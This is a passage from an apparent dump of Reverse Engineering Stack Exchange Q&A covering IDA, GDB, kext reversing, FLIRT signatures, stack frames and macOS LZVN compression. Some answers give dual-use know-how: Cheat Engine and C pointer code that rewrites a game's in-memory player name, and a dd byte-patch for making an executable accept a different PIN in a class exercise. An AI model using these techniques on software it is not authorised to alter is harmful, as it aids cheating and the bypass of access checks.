disassembly).\n\n<ul>\n<li><code>mov esi, dword ptr [dword_xxxx]</code> (most probably) means it's dereferencing a pointer, which means that the structure is allocated dynamically.</li>\n<li><code>mov esi, offset dword_xxxx</code> (most probably) means that it's just assigning the address (<code>xxxx</code> part) to <code>esi</code>, so this is a static address.</li>\n</ul></li>\n</ul>\n\n<hr>\n\n<h2>The usage</h2>\n\n<p><strong>Cheat Engine</strong></p>\n\n<p>In Cheat Engine, it's easy as inputting the pointer and the offset:</p>\n\n<p><img src=\"https://i.stack.imgur.com/gFBPU.png\" alt=\"Cheat Engine\"></p>\n\n<p>As you can see, <code>0x5CCB138</code> is the <code>dword_xxxx</code>, the value inside <code>dword_xxxx</code> is <code>0x09021A00</code>, and that + <code>0x142</code> (my offset) results in the start of the in-game name.</p>\n\n<p><strong>C</strong></p>\n\n<p>In case you want to do it programmatically, you can do it like this in C:</p>\n\n<pre><code>PCHAR my_name = PCHAR (*PDWORD(0x5CCB138) + 0x142);\n^save the addr|       | ^deref to get     | add the offset\n              | ^cast |    0x09021A00     |\n\n// -&gt; be careful, do not surpass the max length!\n// -&gt; also remember that there's 'your name' length + 1 \\x00 byte\n//    at the end!\nchar new_name[] = \"newName\";\nstrncpy(my_name, new_name, sizeof(new_name)); // again: be careful with the length!\n</code></pre>\n\n<p>The proper way, however, would be reversing the entire struct like this:</p>\n\n<pre><code>struct player_data {\n    int ID;\n    char name[15];\n    int some_data;\n    ...;\n};\n// make sure the order / size of each item is correct!\n// a single error can fuck up the entire struct\n\n// I'm going to assume you understand pointers\nplayer_data* data = *(player_data**) 0x5CCB138;\n\n// do your changes\n// again, be careful with the length!\n// also note that sizeof() will not work if you use char*\nchar new_name[] = \"new name!\";\nstrncpy(data-&gt;name, new_name, sizeof(new_name));\n</code></pre>\n"
    },
    {
        "Id": "8192",
        "CreationDate": "2015-02-10T03:35:40.703",
        "Body": "<p>Upon performing a disassembly of a binary, I noticed that many of the subroutines have the wrong offset for the address. It seems that the byte preceding the 2 byte address is wrong. For example, in the screenshot below, the disassembly indicates the functions should be at 0xA5C1E and 0xA5BCA. I've double checked the raw hex dump and confirmed that there is an \"A\" byte before the 2 byte address. It's also interesting to note that addresses which start with \"A\" are impossible in this binary since it's only 0x7FFFF in length. Based on experience from other binaries, I know the true addresses for these functions should be 0x25C1E and 0x25BCA, respectively.  I can also confirm that I have subroutines which start at these locations.</p>\n\n<p><img src=\"https://i.stack.imgur.com/nIPuj.png\" alt=\"enter image description here\"></p>\n\n<p>I've disassembled other binaries (different application, same processor) and this problem didn't appear. However, every binary I've disassembled from this application shows this problem.</p>\n\n<p>Is there a way to correct this in IDA Pro?  Does it have anything to do with my DPP register values?</p>\n",
        "Title": "Correcting subroutine offset in IDA Pro",
        "Tags": "|ida|",
        "Answer": "<p>Your broken addresses seem to be exactly 0x80000 plus the intended address.</p>\n\n<p>There's two possibilities:</p>\n\n<ul>\n<li>Your binary is intended to be loaded at <code>0x80000</code>, but you're loading it to <code>0x00000</code>.</li>\n<li>The hardware doesn't decode more than 19 address bits, so <code>0xa5c1e</code> maps to <code>0x25c1e</code> on the address bus, and the software uses address bit 19 as a kind of flag.</li>\n</ul>\n"
    },
    {
        "Id": "8195",
        "CreationDate": "2015-02-10T17:05:51.740",
        "Body": "<p>I recently discovered there is no native Linux driver for the Web Cam in my computer.  However, there is a person who has taking the initiative to start a <a href=\"https://github.com/patjak/bcwc_pcie\" rel=\"nofollow\">github project</a> for a driver.  That being said, I was able to get the web cam working in a qemu guest OS running OS X (10.10), and now I'm at the point where I would like to start to analyze the .kext is question.</p>\n\n<p>A quick google search revealed <a href=\"https://inficererk.wordpress.com/2014/01/30/debugging-kext-with-vmware-gdb-osx-10-8-4/\" rel=\"nofollow\">this</a>, but I am not sure if this method would still apply to OS X (10.10).</p>\n\n<p>Should I try to debug the .kext on a running system, or should I just copy the .kext to my host OS (Linux) and start analyzing in a disassembler such as Hopper / Radare2?</p>\n\n<p>Also I should note, from what I understand, most OS X kernel extensions are written in C++ while most if not all Linux drivers are written in C.  So would I be wasting my time reversing / analyzing this .kext?  Any help on this subject matter would be greatly appreciated.</p>\n",
        "Title": "What are some methods to reversing a .kext?",
        "Tags": "|osx|",
        "Answer": "<p><strong>Answering Your Question Directly</strong>: </p>\n\n<p>You can reverse Kernal Extensions with IDA Pro, Radare2, GDB or whatever dissasembler you would like. Yes, you will have to learn what C++ structures look like once disassembled. I can't answer the \"static analysis or dynamic analysis?\" question directly, since often the answer is \"both, depending on exactly what you want.\" Some Reverse Engineers start with the static, and some start with the dynamic. </p>\n\n<p>I <em>personally</em> would start with a static analysis tool because: </p>\n\n<ul>\n<li>I imagine the driver is rather large. If you don't know what you are looking for, you could spend a long, long time single stepping. </li>\n<li>You will get more out of this by searching over and analyzing specific function calls in the driver. Their use will most likely be self evident in the driver once you see their relation to other functions</li>\n<li>There isn't an element of obfuscation here. Nor do you need to check the <em>exact</em> position of anything in memory. </li>\n<li>You are trying to rewrite a driver from this anyway, seeing things in a format that resembles source code will help that process. </li>\n</ul>\n\n<p>But to each his own. Given enough time I would go through both processes just for the sake of knowing. Also, to pull this off correctly, you will need to learn a little about Macintosh system programming. </p>\n\n<p>There is a class at recon on this subject this year: <a href=\"http://www.recon.cx/2015/trainingosx.html\" rel=\"noreferrer\">http://www.recon.cx/2015/trainingosx.html</a> (once the white paper is published, it should be linked in this answer) </p>\n\n<p>Here is a snippet from a book on kernal exploitation that takes you through the basics of reversing a kext with IDA pro: </p>\n\n<p><a href=\"https://books.google.com/books?id=G6Zeh_XSOqUC&amp;pg=PA215&amp;lpg=PA215&amp;dq=IDA+pro+kernel+extension+mac&amp;source=bl&amp;ots=0y3XXMAgqH&amp;sig=6HkJnGKmW7OugZiHo42DwOYtaY8&amp;hl=en&amp;sa=X&amp;ei=93nbVIe_BYWVyQT4z4HgDw&amp;ved=0CEIQ6AEwBQ#v=onepage&amp;q=IDA%20pro%20kernel%20extension%20mac&amp;f=false\" rel=\"noreferrer\">https://books.google.com/books?id=G6Zeh_XSOqUC&amp;pg=PA215&amp;lpg=PA215&amp;dq=IDA+pro+kernel+extension+mac&amp;source=bl&amp;ots=0y3XXMAgqH&amp;sig=6HkJnGKmW7OugZiHo42DwOYtaY8&amp;hl=en&amp;sa=X&amp;ei=93nbVIe_BYWVyQT4z4HgDw&amp;ved=0CEIQ6AEwBQ#v=onepage&amp;q=IDA%20pro%20kernel%20extension%20mac&amp;f=false</a></p>\n\n<p><strong>Regarding this particular camera:</strong> </p>\n\n<p>It seems that the camera in question is referenced in the conversation found here: <a href=\"https://bugzilla.kernel.org/show_bug.cgi?id=71131\" rel=\"noreferrer\">https://bugzilla.kernel.org/show_bug.cgi?id=71131</a></p>\n\n<p>Essentially, this camera speaks over <em>PCI</em> because it does not compress its video before being sent to the system. The thread states that there is already a project underway to make a driver for the camera, which can be found at <a href=\"https://github.com/patjak/bcwc_pcie\" rel=\"noreferrer\">https://github.com/patjak/bcwc_pcie</a></p>\n\n<p>The wiki on this site is informative, and lists some of the issues with reverse engineering this sort of driver. The wiki page found at: <a href=\"https://github.com/patjak/bcwc_pcie/wiki/Mac-OS-X-driver\" rel=\"noreferrer\">https://github.com/patjak/bcwc_pcie/wiki/Mac-OS-X-driver</a> gives some great ideas for where you should be starting on the mac side of things. </p>\n\n<p>Based on their to do list, you might want to focus on helping rip the device firmware from the device itself. </p>\n\n<p><strong>Regarding developing your own driver:</strong> </p>\n\n<p>I would start from a different direction, and reverse engineer the camera itself. Depending on the complexity of your camera, you may be able to speak to it directly without a driver over serial. You might also be able to open up the camera, and speak to it directly via a debug port (think JTAG, or even simpler.) </p>\n\n<p>The first time I read your question, I thought you meant a small camera outside your computer, but I am guessing you mean a camera built into your laptop. I think in that case, you could just adapt a driver from an existing webcam, and see where it dies. I believe these cameras are fairly generic bits of hardware at this point. </p>\n\n<p>Most webcam's on Linux use this driver: <a href=\"https://help.ubuntu.com/community/UVC\" rel=\"noreferrer\">https://help.ubuntu.com/community/UVC</a>, and potentially you can just run this driver and see where it dies/can't communicate with the camera. At any rate, watching the actual communications with the camera will give you a much better idea of what you need to do. </p>\n\n<p><strong>Regarding the Utility of reversing a Macintosh Kernal extension:</strong></p>\n\n<p>I would be less worried about the c++/C difference versus differences in system libaries, and the system call interface. It certainly wouldn't hurt to analyze the driver for your own edification, but you may find that it gets most of its work done by calling mac system libraries that don't work the same way in linux. You will be most interested in reading the parts of the driver that define the communication with the camera. At any rate, you wont be able to directly convert the KeXT into a Linux Kernal Module. </p>\n\n<p><strong>My Final Advice:</strong></p>\n\n<p>Instead, if your current webcam isn't working with your linux distro, I would first confirm that you have the proper generic driver, and then edit the generic driver to support your camera. You can do a pull request on the generic driver. </p>\n\n<p>In most cases the communications with these cameras are very simple serial communications. I suspect that triggering an error from the generic driver will be faster than trying to decipher the mac driver. </p>\n"
    },
    {
        "Id": "8197",
        "CreationDate": "2015-02-10T21:51:50.840",
        "Body": "<p>GDB has a reasonably robust API which is exposed to Python at runtime.  It allows for inspecting various types, but does not appear to allow creation of types.</p>\n\n<p>However, types can be manually added by loading an object file at runtime (<a href=\"https://stackoverflow.com/q/7272558\">https://stackoverflow.com/q/7272558</a>).</p>\n\n<p>Is there any way to add or create a new <code>gdb.Type</code> object at runtime?</p>\n\n<p>The intent is to then allow inspection of memory via <code>gdb.Value.cast</code> to the <code>type.pointer()</code> and then <code>.dereference()</code>d.  This would be much better/easier than manually deserializing data field-by-field.</p>\n\n<p>Alternatively, I thought that I could just load an object file programmatically.  It looks like GDB is perfectly happy to load cross-architecture object files for symbol/type purposes.  In order to not kill any real/useful symbols, or create misleading ones, a non-existent address should be used.  However, loading a <code>.o</code> at an unmapped address requires the user to verify (type <code>y</code>), so when done from <code>gdb.execute(...)</code> it fails outright.</p>\n",
        "Title": "Adding Types to GDB via Python",
        "Tags": "|gdb|python|",
        "Answer": "<p>So it turns out you can do this in the following way, from within GDB Python.  The trick is <code>from_tty=False</code>.</p>\n\n<pre><code>foo = open('foo.cc','w+')\nfoo.write('struct foobar { int x; }; foobar foo;')\nfoo.close()\n\nsubprocess.check_output('g++ -w -c -g foo.cc -o foo.o', shell=True)\n\ngdb.execute('add-symbol-file foo.o 0', from_tty=False, to_string=True)\n</code></pre>\n\n<p>You should now be able to view the type in gdb:</p>\n\n<pre><code>gdb $ ptype foobar\ntype = struct foobar {\n    int x;\n}\n</code></pre>\n"
    },
    {
        "Id": "8198",
        "CreationDate": "2015-02-11T00:28:29.120",
        "Body": "<p>As we know, time is the bane of reverse engineering. I am wanting to know how are some ways that I can save time in reverse engineering? I have taken some thought and I have been going through many programs and finding that even if the program is considerably different I am able to find up to 255+ identical garbage/redundant functions. I was thinking this morning if there was a way to somehow fingerprint these, that it would save me a considerable amount of time.</p>\n\n<p>In short, I would like to know:<br>\nHas anyone tried to fingerprint or make a database of these redundant functions?</p>\n\n<p>Also, what are some other ways that I can save time in my reversal process?</p>\n",
        "Title": "Save Valuable Time Reverse Engineering",
        "Tags": "|functions|",
        "Answer": "<p>This is a common task when looking at binaries with statically linked code.  The static code varies in register assignment, relative pointer addressing to external object code and other details but is mostly identical across binaries.</p>\n\n<p>IDA uses the FLIRT system to solve this problem.\n<a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\" rel=\"nofollow\">https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml</a></p>\n\n<p>Basically it filters those bits that vary across linker executions and matches the remaining pattern against a list.  For very short functions there are many collisions, but for functions longer than ~30 bytes or so it's very good at identifying what you're looking at.</p>\n\n<p>If you're using IDA then it comes with the tools to create your own FLIRT signatures.  If you're not using IDA then you would have to make a tool to pull apart your particular static libraries, disassemble the first opcodes, filter the variable bits (this is tricky), and create a database to link names to patterns.  You could apply the patterns as appropriate: borland libraries for borland program, MS runtime for visual studio, etc.</p>\n"
    },
    {
        "Id": "8200",
        "CreationDate": "2015-02-11T04:33:04.480",
        "Body": "<p>I'm working on an assignment for a systems programming class, and for extra credit we are asked to modify an executable to allow it to accept the reverse of our PIN (finding the PIN was the original assignment). I was able to use GDB to change the memory values being stored for the PIN to the reverse, and when I run the program it works as intended. The only issue is that I can't save these changes to the executable. Once I exit the debugger it reverts to normal. I've tried using \"set write on\" and \"gdb -write \" before making changes, but the changes still wouldn't stick. Does anyone know if what I'm tyring to do is even possible, or where I might be going wrong?</p>\n",
        "Title": "Using GDB to modify an executable",
        "Tags": "|x86|gdb|",
        "Answer": "<p>Did you remember to reload your program after <code>set write on</code> ?</p>\n\n<p>And did you load your (writable) copy of the original program (as opposed to the professor's copy in a shared location that everyone has read access to, but noone can write) ?</p>\n\n<p>Actually, i've never used gdb to patch files directly, i normally use a hex editor.</p>\n\n<p>If you don't have a hex editor on your system, maybe you have <code>xxd</code>, which allows you to turn a binary into a hex dump and vice versa.</p>\n\n<p>If all else fails, you can still do something like</p>\n\n<pre><code>echo 'X' | dd of=binary.file bs=1 seek=12345 count=1\n</code></pre>\n\n<p>to patch the byte at offset 12345 in your file to an X. This method has the advantage that it doesn't depend on any gnu utilities, so it works on most variants of unix.</p>\n"
    },
    {
        "Id": "8202",
        "CreationDate": "2015-02-11T13:57:53.307",
        "Body": "<p>CTB-Locker is a currently active ransomware that encrypts files to lock users out.</p>\n\n<p>Here are a few links about this malware:</p>\n\n<ul>\n<li><a href=\"http://securelist.com/analysis/publications/64608/a-new-generation-of-ransomware/\" rel=\"nofollow\">A new generation of ransomware: Elliptic curve cryptography + Tor + Bitcoin</a>, by Fedor Sinitsyn, July 24, 2014.</li>\n<li><a href=\"http://www.eset.com/int/about/press/eset-blog/article/ctb-locker-ransomware-striking-in-europe-and-latin-america/\" rel=\"nofollow\">CTB-Locker: Multilingual Malware Demands Ransom</a>, by Pablo Ramos, January 21, 2015.</li>\n<li><a href=\"http://blog.trendmicro.com/trendlabs-security-intelligence/ctb-locker-ransomware-includes-freemium-feature-extends-deadline/\" rel=\"nofollow\">CTB-Locker Ransomware Includes Freemium Feature, Extends Deadline</a>, by Trend Micro, January 21, 2015.</li>\n<li><a href=\"http://www.bleepingcomputer.com/virus-removal/ctb-locker-ransomware-information\" rel=\"nofollow\">CTB Locker and Critroni Ransomware Information Guide and FAQ</a>, by Lawrence Abrams, January 29, 2015.</li>\n<li><a href=\"https://zairon.wordpress.com/2015/02/09/ctb-locker-files-decryption-demonstration-feature/\" rel=\"nofollow\">CTB-Locker: files decryption demonstration feature</a>, by Zairon, February 9, 2015.</li>\n<li><a href=\"http://christophe.rieunier.name/securite/CTB-Locker/CTB-Locker_analysis_en.php\" rel=\"nofollow\">CTB-Locker dropper</a>, by Christophe Rieunier.</li>\n<li><a href=\"https://www.decryptcryptolocker.com/\" rel=\"nofollow\">decryptcryptolocker.com</a>, by FireEye and Fox IT (doesn't seems to work for CTB-Locker).</li>\n<li><a href=\"http://en.wikipedia.org/wiki/CryptoLocker\" rel=\"nofollow\">CryptoLocker</a>, Wikipedia (a similar Ransomware).</li>\n</ul>\n\n<p>Is there a complete analysis about the encryption used by CTB-Locker, and some hints about possible cryptanalysis based on some weaknesses of this cryptographic scheme that can be used to recover the encrypted files.</p>\n\n<p>The idea would be to produce a (free) tool similar to <a href=\"https://www.decryptcryptolocker.com/\" rel=\"nofollow\">decryptcryptolocker.com</a>, that can perform the decryption for users.</p>\n",
        "Title": "Where to find a full analysis of the encryption scheme of CTB-Locker?",
        "Tags": "|tools|malware|cryptanalysis|ransomware|",
        "Answer": "<p>I found a <a href=\"https://zairon.wordpress.com/2015/02/17/ctb-locker-encryptiondecryption-scheme-in-details/\" rel=\"nofollow\">full analysis of the cipher algorithm of CTB-Locker</a> performed by <a href=\"https://zairon.wordpress.com/\" rel=\"nofollow\">Zairon</a>. </p>\n\n<p>He's not really optimistic about the possibility to cryptanalyse the files as the first paragraph of the blog post is the following:</p>\n\n<blockquote>\n  <p>After my last post about CTB-Locker I received a lot of e-mails from people asking for a complete analysis of the malware. Most of them wanted to know if it\u2019s possible to restore the compromised files without paying the ransom. The answer is simple: it\u2019s impossible without knowing the Master key! That key resides on the malicious server and it\u2019s the only way to restore every single compromised file.</p>\n</blockquote>\n\n<p>And, follow a full analysis of the encryption scheme of CTB-Locker. A good reading for anybody wants to know more about it !</p>\n\n<ul>\n<li><a href=\"https://zairon.wordpress.com/2015/02/17/ctb-locker-encryptiondecryption-scheme-in-details/\" rel=\"nofollow\">CTB-Locker encryption/decryption scheme in details</a>, by Zairon, February 17, 2015.</li>\n</ul>\n"
    },
    {
        "Id": "8206",
        "CreationDate": "2015-02-11T19:22:47.137",
        "Body": "<p>I've disassembled some C/C++ codes and realized the stack boundary is specified at beginning of a procedure, somehow like this :</p>\n\n<pre><code>1. push ebp\n2. mov ebp , esp\n3. sub esp , &lt;power&gt; ; &lt;power&gt; is specified by mpreferred-stack-boundary=2^power\n</code></pre>\n\n<p>The above code is used to create stack frames, But What I need to know is why this subtract is used, Cause the stack grows down (by using push for local variables) and such the subtract causes :</p>\n\n<pre><code>---------------------------- ^\nby sub esp,&lt;power&gt; &lt;---- esp |\n.                            |\n.                            |\n.                            |\n---------------------------- |\nesp &lt;---- esp                |\n---------------------------- |\nret address                  |\n---------------------------- |\n</code></pre>\n\n<p>The above picture shows that.So when in the rest of code if you have such the following codes:</p>\n\n<pre><code>push var1\n</code></pre>\n\n<p>It should be taken at the top of it so it looks like this :</p>\n\n<pre><code>-----------------------------\nvar1 (4 byte)                \n-----------------------------^\nby sub esp,&lt;power&gt; &lt;---- esp |\n.                            |\n.                            |\n.                            |\n---------------------------- |\nesp &lt;---- esp                |\n---------------------------- |\nret address                  |\n---------------------------- |\n</code></pre>\n\n<p>So the space between esp and var1 is going to be free without any use ?\nthat's what I want to know.</p>\n",
        "Title": "Stack frame boundary",
        "Tags": "|memory|stack-variables|",
        "Answer": "<blockquote>\n  <p>So the space between esp and var1 is going to be free without any use\n  ? that's what I want to know.</p>\n</blockquote>\n\n<p>That stack space is used for the function's local variables (also known as \"stack variables\").</p>\n\n<p>Here's a nice animated GIF that shows a function's stack frame being created and used to store local variables:</p>\n\n<p><img src=\"https://i.stack.imgur.com/pvEF3.gif\" alt=\"GIF\"></p>\n"
    },
    {
        "Id": "8209",
        "CreationDate": "2015-02-12T03:48:52.483",
        "Body": "<p>I'm trying to decompress a Mach-O binary which has been compressed using one of the compression algorithms in Mac 10.10's HFS+ implementation. Basically the file has the &quot;com.apple.decmpfs&quot; attribute on it, which says that it is compression type 8. Then the compressed contents of the file are stored in the file's resource fork.</p>\n<p>It doesn't seem to have any identifiable header on it. Does anyone recognize it, or have any ideas what it might be? Below is a dump of the first 0x200 bytes of the compressed version of <code>/bin/bash</code>, and the first 0x200 bytes of the same file as viewed under Mac OS.</p>\n<p>The Mach-O header (<code>CF FA ED FE</code>) and some executable's strings (e.g. <code>__PAGEZERO</code>) can be seem in the compressed version.</p>\n<h3>Compressed (first 0x200 bytes of <code>/bin/bash</code>):</h3>\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F \n\n00000000  E0 01 CF FA ED FE 07 00 00 01 03 00 00 80 02 00  \u00e0.\u00cf\u00fa\u00ed\u00fe.......\u20ac.. \n00000010  00 00 12 00 04 E8 E8 06 00 00 85 00 20 00 08 01  .....\u00e8\u00e8...\u2026. ... \n00000020  40 04 19 46 48 EB 5F 5F 50 41 47 45 5A 45 52 4F  @..FH\u00eb__PAGEZERO \n00000030  00 38 01 F7 9E 01 00 F0 0C 08 48 8E 28 02 E5 54  .8.\u00f7\u017e..\u00f0..H\u017d(.\u00e5T \n00000040  45 58 54 00 38 01 F3 10 40 9E 60 08 F8 20 10 46  EXT.8.\u00f3.@\u017e`.\u00f8 .F \n00000050  07 46 05 48 0D 06 10 88 E5 74 65 78 74 00 30 01  .F.H...\u02c6\u00e5text.0. \n00000060  38 50 F6 9E EC 0B C8 10 5F 1C 07 F5 50 0A 02 20  8P\u00f6\u017e\u00ec.\u00c8._..\u00f5P.. \n00000070  01 E4 04 00 80 00 FA F1 E8 5F 5F 73 74 75 62 73  .\u00e4..\u20ac.\u00fa\u00f1\u00e8__stubs \n00000080  00 F8 38 50 F6 CE 4C 28 07 F1 CE 62 04 00 F1 28  .\u00f88P\u00f6\u00ceL(.\u00f1\u00ceb..\u00f1( \n00000090  10 28 01 60 50 08 6E 06 F5 E7 5F 68 65 6C 70 65  .(.`P.n.\u00f5\u00e7_helpe \n000000A0  72 FA F9 9E B0 2C 9E 5E 07 08 10 38 A0 F0 04 E7  r\u00fa\u00f9\u017e\u00b0,\u017e^...8 \u00f0.\u00e7 \n000000B0  63 73 74 72 69 6E 67 FA FD 9E 0E 34 9E 61 F8 08  cstring\u00fa\u00fd\u017e.4\u017ea\u00f8. \n000000C0  10 38 01 F2 38 5C F3 18 50 C9 41 6F 6E 73 F6 38  .8.\u00f28\\\u00f3.P\u00c9Aons\u00f68 \n000000D0  50 F6 CE 70 2C 08 F1 9E F0 21 08 10 20 FB 38 01  P\u00f6\u00cep,.\u00f1\u017e\u00f0!.. \u00fb8. \n000000E0  FB ED 5F 5F 75 6E 77 69 6E 64 5F 69 6E 66 6F 38  \u00fb\u00ed__unwind_info8 \n000000F0  50 F9 9E 60 4E 9E 94 11 08 10 38 94 F6 38 01 F2  P\u00f9\u017e`N\u017e\u201d...8\u201d\u00f68.\u00f2 \n00000100  0A 28 56 78 E4 44 41 54 41 FA F1 58 48 60 9E 00  .(Vx\u00e4DATA\u00fa\u00f1XH`\u017e. \n00000110  E0 32 30 5E B0 08 F6 60 08 03 08 01 E4 5F 5F 67  \u00e020^\u00b0.\u00f6`....\u00e4__g \n00000120  6F 3A 27 F1 38 50 FF 9E 38 01 F4 58 0A 03 10 01  o:'\u00f18P\u00ff\u017e8.\u00f4X.... \n00000130  09 D0 98 01 BB 00 F4 EF 5F 5F 6E 6C 5F 73 79 6D  .\u00d0\u02dc.\u00bb.\u00f4\u00ef__nl_sym \n00000140  62 6F 6C 5F 70 74 72 38 50 F7 9E 38 61 9E 10 00  bol_ptr8P\u00f7\u017e8a\u017e.. \n00000150  08 10 38 50 F6 6E E2 F5 9E 6C 61 F0 06 66 48 9E  ..8P\u00f6n\u00e2\u00f5\u017ela\u00f0.fH\u017e \n00000160  D8 05 6E 48 F7 08 E8 98 01 E4 00 F4 39 D8 F8 38  \u00d8.nH\u00f7.\u00e8\u02dc.\u00e4.\u00f49\u00d8\u00f88 \n00000170  50 F4 9E 20 67 9E 88 26 08 10 39 D8 F0 04 E5 64  P\u00f4\u017e g\u017e\u02c6&amp;..9\u00d8\u00f0.\u00e5d \n00000180  61 74 61 00 30 01 38 50 F6 9E B0 8D 9E 04 79 08  ata.0.8P\u00f6\u017e\u00b0.\u017e.y. \n00000190  10 38 50 F0 04 E6 63 6F 6D 6D 6F 6E FA FE CE C0  .8P\u00f0.\u00e6common\u00fa\u00fe\u00ce\u00c0 \n000001A0  06 09 F1 C8 01 68 0E 00 F5 38 50 F2 6E 01 F9 9B  ..\u00f1\u00c8.h..\u00f58P\u00f2n.\u00f9\u203a \n000001B0  B6 62 73 F4 38 50 F8 9E 30 15 9E 10 21 F0 10 3C  \u00b6bs\u00f48P\u00f8\u017e0.\u017e.!\u00f0.&lt; \n000001C0  E8 E7 4C 49 4E 4B 45 44 49 2A C4 58 48 40 9E 00  \u00e8\u00e7LINKEDI*\u00c4XH@\u017e. \n000001D0  A0 F1 90 07 10 09 96 A0 87 11 88 38 4C F2 45 48   \u00f1....\u2013 \u2021.\u02c68L\u00f2EH \n000001E0  22 48 09 30 00 28 41 B1 50 C8 3B 50 13 09 F5 08  &quot;H.0.(A\u00b1P\u00c8;P..\u00f5. \n000001F0  01 40 10 F0 EA 08 0C 00 00 F8 1F 09 00 F8 33 1B  .@.\u00f0\u00ea....\u00f8...\u00f83. \n</code></pre>\n<h3>Uncompressed (first 0x200 bytes of <code>/bin/bash</code>):</h3>\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F \n\n00000000  CF FA ED FE 07 00 00 01 03 00 00 80 02 00 00 00  \u00cf\u00fa\u00ed\u00fe.......\u20ac.... \n00000010  12 00 00 00 E8 06 00 00 85 00 20 00 00 00 00 00  ....\u00e8...\u2026. ..... \n00000020  19 00 00 00 48 00 00 00 5F 5F 50 41 47 45 5A 45  ....H...__PAGEZE \n00000030  52 4F 00 00 00 00 00 00 00 00 00 00 00 00 00 00  RO.............. \n00000040  00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................ \n00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ \n00000060  00 00 00 00 00 00 00 00 19 00 00 00 28 02 00 00  ............(... \n00000070  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n00000080  00 00 00 00 01 00 00 00 00 60 08 00 00 00 00 00  .........`...... \n00000090  00 00 00 00 00 00 00 00 00 60 08 00 00 00 00 00  .........`...... \n000000A0  07 00 00 00 05 00 00 00 06 00 00 00 00 00 00 00  ................ \n000000B0  5F 5F 74 65 78 74 00 00 00 00 00 00 00 00 00 00  __text.......... \n000000C0  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n000000D0  EC 0B 00 00 01 00 00 00 5F 1C 07 00 00 00 00 00  \u00ec......._....... \n000000E0  EC 0B 00 00 02 00 00 00 00 00 00 00 00 00 00 00  \u00ec............... \n000000F0  00 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00  ...\u20ac............ \n00000100  5F 5F 73 74 75 62 73 00 00 00 00 00 00 00 00 00  __stubs......... \n00000110  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n00000120  4C 28 07 00 01 00 00 00 62 04 00 00 00 00 00 00  L(......b....... \n00000130  4C 28 07 00 01 00 00 00 00 00 00 00 00 00 00 00  L(.............. \n00000140  08 04 00 80 00 00 00 00 06 00 00 00 00 00 00 00  ...\u20ac............ \n00000150  5F 5F 73 74 75 62 5F 68 65 6C 70 65 72 00 00 00  __stub_helper... \n00000160  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n00000170  B0 2C 07 00 01 00 00 00 5E 07 00 00 00 00 00 00  \u00b0,......^....... \n00000180  B0 2C 07 00 02 00 00 00 00 00 00 00 00 00 00 00  \u00b0,.............. \n00000190  00 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00  ...\u20ac............ \n000001A0  5F 5F 63 73 74 72 69 6E 67 00 00 00 00 00 00 00  __cstring....... \n000001B0  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n000001C0  0E 34 07 00 01 00 00 00 61 F8 00 00 00 00 00 00  .4......a\u00f8...... \n000001D0  0E 34 07 00 00 00 00 00 00 00 00 00 00 00 00 00  .4.............. \n000001E0  02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ \n000001F0  5F 5F 63 6F 6E 73 74 00 00 00 00 00 00 00 00 00  __const......... \n00000200  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n</code></pre>\n<p>Thanks in advance!</p>\n",
        "Title": "Unknown Mac OSX 10.10 HFS+ compression",
        "Tags": "|file-format|osx|decompress|",
        "Answer": "<p>OK... it seems to be LZVN compression. Following on from Igor's suggestions I ran <code>kextstat</code> on my Mac, however that only listed:</p>\n\n<ul>\n<li><code>com.apple.AppleFSCompression.AppleFSCompressionTypeZlib</code></li>\n<li><code>com.apple.AppleFSCompression.AppleFSCompressionTypeDataless</code> </li>\n</ul>\n\n<p>Looking at the strings inside the 'dataless' compression it turned out to be type 5: <a href=\"https://github.com/dimones/Clevo-W370ET-Mavericks/blob/master/Extensions/AppleFSCompressionTypeDataless.kext/Contents/Info.plist#L53\" rel=\"nofollow\">AppleFSCompressionTypeDataless.kext</a>. Searching for the same string with type 8, I found this log:</p>\n\n<pre><code>com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN  &lt;class com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN, id 0x10000025d, !registered, !matched, active, busy 0, retain 4&gt;\n      |   {\n      |     \"IOProbeScore\" = 0x0\n      |     \"CFBundleIdentifier\" = \"com.apple.AppleFSCompression.AppleFSCompressionTypeLZVN\"\n      |     \"IOMatchCategory\" = \"com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN\"\n      |     \"IOClass\" = \"com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN\"\n      |     \"IOProviderClass\" = \"IOResources\"\n      |     \"com.apple.AppleFSCompression.providesType10\" = Yes\n      |     \"com.apple.AppleFSCompression.providesType9\" = Yes\n      |     \"com.apple.AppleFSCompression.providesType8\" = Yes\n      |     \"IOResourceMatch\" = \"IOBSD\"\n      |     \"com.apple.AppleFSCompression.providesType7\" = Yes\n      |   }\n</code></pre>\n\n<p>Which seems to be something the Chameleon guys already worked out: <a href=\"http://forge.voodooprojects.org/p/chameleon/source/tree/HEAD/trunk/CHANGES#L27\" rel=\"nofollow\">trunk/CHANGES</a></p>\n\n<p><strong>Edit:</strong> Apple has just released an open source implementation: <a href=\"https://github.com/lzfse/lzfse\" rel=\"nofollow\">https://github.com/lzfse/lzfse</a></p>\n"
    },
    {
        "Id": "8215",
        "CreationDate": "2015-02-12T13:40:24.813",
